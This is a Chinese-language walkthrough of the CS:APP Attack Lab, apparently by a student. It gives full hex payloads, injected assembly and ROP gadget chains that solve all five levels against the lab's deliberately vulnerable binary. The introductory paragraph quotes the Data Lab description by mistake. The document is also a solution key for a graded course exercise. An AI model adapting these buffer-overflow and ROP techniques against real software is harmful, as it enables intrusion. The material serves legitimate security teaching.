官网

http://csapp.cs.cmu.edu/3e/labs.html

Students implement simple logical, two’s complement, and floating point functions, but using a highly restricted subset of C. For example, they might be asked to compute the absolute value of a number using only bit-level operations and straightline code. This lab helps students understand the bit-level representations of C data types and the bit-level behavior of the operations on data.

参考

深入理解计算机系统attack lab

CSAPP:Attack lab

Tips

push:将数据压入栈中,具体操作是rsp先减,然后将数据压入sp所指的内存地址中。rsp寄存器总是指向栈顶,但不是空单元。

pop:将数据从栈中弹出,然后rsp加操作,确保rsp寄存器指向栈顶,不是空单元。

HEX2RAW

HEX2RAW期望由一个或多个空格分隔的两位十六进制值。

所以如果你想创建一个十六进制值为0的字节,需要将其写为00。

要创建单词0xdeadbeef应将“ ef be ad de”传递给HEX2RAW(请注意,小字节序需要反转)。

实验目标

要求进行五次攻击。攻击方式是code injection代码注入和Reeturn-oriented programming(ROP)。

level1

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 # touch1

buff-size为40字节,将其填满后注入touch1的开始地址

./hex2raw < attack1.txt > attackraw1.txt
./ctarget -qi attackraw1.txt

level2

Level2和Level1差别主要在Level2多了一个val参数,我们在跳转到Level2时,还要将其参数传递过去,让他认为是自己的cookie 0x59b997fa

将以下代码注入缓冲区。

mov    $0x59b997fa,%rdi
pushq $0x4017ec # 压栈,ret时会将0x4017ec弹出执行
ret

使用以下命令编译和反编译。

gcc -c attack2.s
objdump -d attack2.o > attack2.d
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
# 以上包含注入代码填充满整个缓冲区(40字节)以致溢出。
78 dc 61 55 00 00 00 00
# 用缓冲区的起始地址覆盖掉原先的返回地址(注意字节顺序)。

缓冲区地址为0x5561dca0(栈底),因为分配了一个0x28的栈,插入的代码在字符串首,即栈顶(低地址),所以地址最终要取0x5561dca0-0x28 = 0x5561dc78

level3

s的位置是随机的,所以之前留在getbuf中的数据,则有可能被hexmatch所重写,为了安全起见,我们把字符串放在getbuf的父栈帧中,也就是test栈帧中。

将字符串的地址传送到%rdi中,hexmatch函数需要的是cookie的字符串表示。因此,我们要将%rdi设置为cookie的地址即字符串表示。

0x59b997fa -> 35 39 62 39 39 37 66 61

mov    $0x5561dca8,%rdi
pushq $0x4018fa
retq
48 c7 c7 a8 dc 61 55 68    # 注入代码
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
# 用缓冲区的起始地址覆盖掉原先的返回地址(注意字节顺序)。
78 dc 61 55 00 00 00 00 # 地址0x5561dca0
35 39 62 39 39 37 66 61 # cookie的字符串表示,地址0x5561dca8
00 00 00 00

level4

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 # pop %rdi
fa 97 b9 59 00 00 00 00 # cookie
ec 17 40 00 00 00 00 00 # touch2

level5

方法一

将%rsp和偏移量分别存入%rdi和%rsi,再使用lea指令。通过**%eax->%edx->%ecx->%esi**来完成。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 # 缓冲区
ad 1a 40 00 00 00 00 00 # movq %rsp, %rax
a2 19 40 00 00 00 00 00 # movq %rax, %rdi
ab 19 40 00 00 00 00 00 # popq %rax
48 00 00 00 00 00 00 00 # 偏移值
dd 19 40 00 00 00 00 00 # mov %eax, %edx
34 1a 40 00 00 00 00 00 # mov %edx, %ecx
13 1a 40 00 00 00 00 00 # mov %ecx, %esi
d6 19 40 00 00 00 00 00 # lea (%rsi, %rdi, 1) %rax #add操作
a2 19 40 00 00 00 00 00 # movq %rax, %rdi
fa 18 40 00 00 00 00 00 # touch3
35 39 62 39 39 37 66 61 # cookie

执行movq %rsp, %rax的时候,%rsp先指向movq %rax, %rdi所在地址,然后再进入子函数执行指令。cookie和这个时候记录下来的%rsp地址的偏移就是48。某次调试记录的栈地址如下:

# 省略getbuf缓冲区
ad 1a 40 00 00 00 00 00 # 0x7ffffffaa018 # movq %rsp, %rax
a2 19 40 00 00 00 00 00 # 0x7ffffffaa020 # movq %rax, %rdi
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00 # 0x7ffffffaa028
dd 19 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00 # 0x7ffffffaa050
a2 19 40 00 00 00 00 00 # 0x7ffffffaa058
fa 18 40 00 00 00 00 00 # 0x7ffffffaa060
35 39 62 39 39 37 66 61 # 0x7ffffffaa068 # cookie

说明movq %rsp,%rax指令存的是%rsp新值。

方法二

直接加偏移值,address is ox4019d8,execute a part of add_xy。

add 0x37,%al
ret
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 # 缓冲区
06 1a 40 00 00 00 00 00 # movq %rsp,%rax
d8 19 40 00 00 00 00 00 # add 0x37,%al
c5 19 40 00 00 00 00 00 # movq %rax,%rdi
fa 18 40 00 00 00 00 00 # touch3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 35 # %rsp+37 cookie
39 62 39 39 37 66 61 00

某次调试显示的栈地址:

# 省略getbuf缓存区
06 1a 40 00 00 00 00 00 # 0x7ffffffcd538 # movq %rsp,%rax
d8 19 40 00 00 00 00 00 # 0x7ffffffcd540
c5 19 40 00 00 00 00 00 # 0x7ffffffcd548
fa 18 40 00 00 00 00 00 # 0x7ffffffcd550
00 00 00 00 00 00 00 00 # 0x7ffffffcd558
00 00 00 00 00 00 00 00 # 0x7ffffffcd560
00 00 00 00 00 00 00 00 # 0x7ffffffcd568
00 00 00 00 00 00 00 # 0x7ffffffcd56f
35 39 62 39 39 37 66 61 00 # 0x7ffffffcd577

说明movq %rsp,%rax指令存的是%rsp新值。